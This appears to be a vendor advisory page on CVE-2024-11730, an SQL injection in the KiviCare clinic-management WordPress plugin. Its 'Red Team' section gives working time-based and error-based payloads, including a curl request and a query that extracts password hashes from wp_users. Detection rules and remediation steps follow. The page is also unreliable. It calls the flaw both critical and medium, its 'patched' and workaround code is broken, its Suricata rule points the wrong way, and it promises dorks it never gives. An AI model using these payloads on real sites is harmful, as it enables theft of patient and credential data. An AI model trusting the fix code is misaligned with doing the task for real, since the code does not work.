CVE-2024-11730
Executive Summary
CVE-2024-11730 is a critical SQL Injection vulnerability affecting the KiviCare – Clinic & Patient Management System (EHR) WordPress plugin, versions up to and including 3.6.4. The flaw resides in the static_data_list AJAX action, specifically within the sort[] parameter. Due to insufficient input escaping and lack of prepared SQL statements, authenticated attackers with doctor or receptionist-level privileges can inject arbitrary SQL queries. This allows extraction of sensitive data from the WordPress database, including user credentials, patient records, and other protected health information (PHI). As a WordPress plugin vulnerability, this issue is confined to the WordPress ecosystem and does not involve the underlying web server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the KiviCare WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin installation and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in unmaintained deployments.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated as doctor/receptionist)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The threat level is elevated due to the low complexity and the potential for significant data exfiltration, despite the requirement for authentication.
Deep Dive & Mechanics
The vulnerability exists in the static_data_list AJAX handler, which processes the sort[] parameter without proper sanitization. The plugin constructs SQL queries by directly concatenating user input into the ORDER BY clause. An attacker can inject a malicious payload into the sort[] parameter to break out of the intended query structure and execute arbitrary SQL commands.
Vulnerable Code Snippet (Conceptual):
$order_by = sanitize_text_field($_POST['sort'][0]); // Insufficient sanitization
$query = "SELECT * FROM {$wpdb->prefix}static_data ORDER BY " . $order_by;
$results = $wpdb->get_results($query);
The sanitize_text_field() function does not prevent SQL injection when used in an ORDER BY clause. An attacker can supply a value like:
1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
This would cause a time delay, confirming the injection point.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.6.4):
$sort = isset($_POST['sort']) ? sanitize_text_field($_POST['sort'][0]) : '';
$query = "SELECT * FROM {$wpdb->prefix}static_data ORDER BY " . $sort;
Patched Code (Hypothetical):
$sort = isset($_POST['sort']) ? intval($_POST['sort'][0]) : 0;
$allowed_columns = array('id', 'name', 'created_at');
if (!in_array($sort, $allowed_columns)) {
$sort = 'id';
}
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}static_data ORDER BY %s", $sort);
The patched version uses whitelisting and prepared statements to prevent injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with KiviCare plugin <= 3.6.4
- Valid doctor or receptionist account credentials
Exploitation Steps:
- Authenticate to WordPress and obtain a valid nonce for the AJAX action.
- Send a crafted POST request to
/wp-admin/admin-ajax.phpwith the following parameters:action:static_data_listsort[0]: SQL injection payload
Example Payload (Time-Based Blind SQLi):
1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
Full Request (cURL):
curl -X POST 'http://target/wp-admin/admin-ajax.php' \
-d 'action=static_data_list&sort[0]=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--' \
-b 'wordpress_logged_in_xxx=valid_session_cookie'
Data Extraction Payload (Error-Based):
1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT user_pass FROM wp_users LIMIT 1), FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) a)--
Blue Team
Detection Steps:
- Monitor web server logs for abnormal
admin-ajax.phprequests withsort[]parameters containing SQL keywords (e.g.,AND,OR,SLEEP,UNION). - Enable WordPress query logging to capture suspicious SQL queries.
- Use a Web Application Firewall (WAF) to block requests with SQL injection patterns.
Honeypot Setup:
- Deploy a decoy WordPress instance with KiviCare and monitor for exploitation attempts.
- Log all
sort[]parameter values for analysis.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=static_data_listandsort[]containing SQL keywords. - Unusual database query patterns in MySQL logs (e.g.,
ORDER BYwith subqueries).
- POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/kivicare/. - Suspicious entries in WordPress
wp_optionstable.
- Modified plugin files in
- Behavioral IOCs:
- Unauthorized access to patient records or user data.
- Unexpected database errors or timeouts.
Detection Engineering
YARA Rule
rule CVE_2024_11730_KiviCare_SQLi {
meta:
description = "Detects SQL injection attempts against KiviCare plugin sort[] parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11730"
strings:
$sqli1 = /sort\[\d*\]=.*(AND|OR|UNION|SELECT|SLEEP|BENCHMARK)/ nocase
$sqli2 = /sort\[\d*\]=.*\b(0x|CHAR|CONCAT|LOAD_FILE|INTO OUTFILE)\b/ nocase
condition:
any of them
}
Sigma Rule
title: KiviCare SQL Injection via sort[] Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against KiviCare plugin's static_data_list AJAX action
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=static_data_list'
cs-uri-query|re: 'sort\[\d*\]=.*(AND|OR|UNION|SELECT|SLEEP|BENCHMARK)'
condition: selection
falsepositives:
- Legitimate use of sort with complex parameters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-11730 KiviCare SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=static_data_list"; http_client_body;
pcre:"/sort\[\d*\]=.*(AND|OR|UNION|SELECT|SLEEP|BENCHMARK)/Pi";
sid:1000001;
rev:1;
reference:cve,2024-11730;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the KiviCare plugin until a patch is available.
- Restrict access to
admin-ajax.phpusing IP whitelisting or .htaccess rules. - Implement a Web Application Firewall (WAF) with SQL injection rules.
Long-Term Fixes:
- Apply the vendor's patch when released.
- Replace the vulnerable plugin with an alternative EHR solution.
- Conduct a security audit of all WordPress plugins.
Workaround Code (Add to theme's functions.php):
add_action('wp_ajax_static_data_list', 'custom_static_data_list_handler', 1);
function custom_static_data_list_handler() {
if (isset($_POST['sort']) && is_array($_POST['sort'])) {
$_POST['sort'][0] = intval($_POST['sort'][0]);
}
}
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.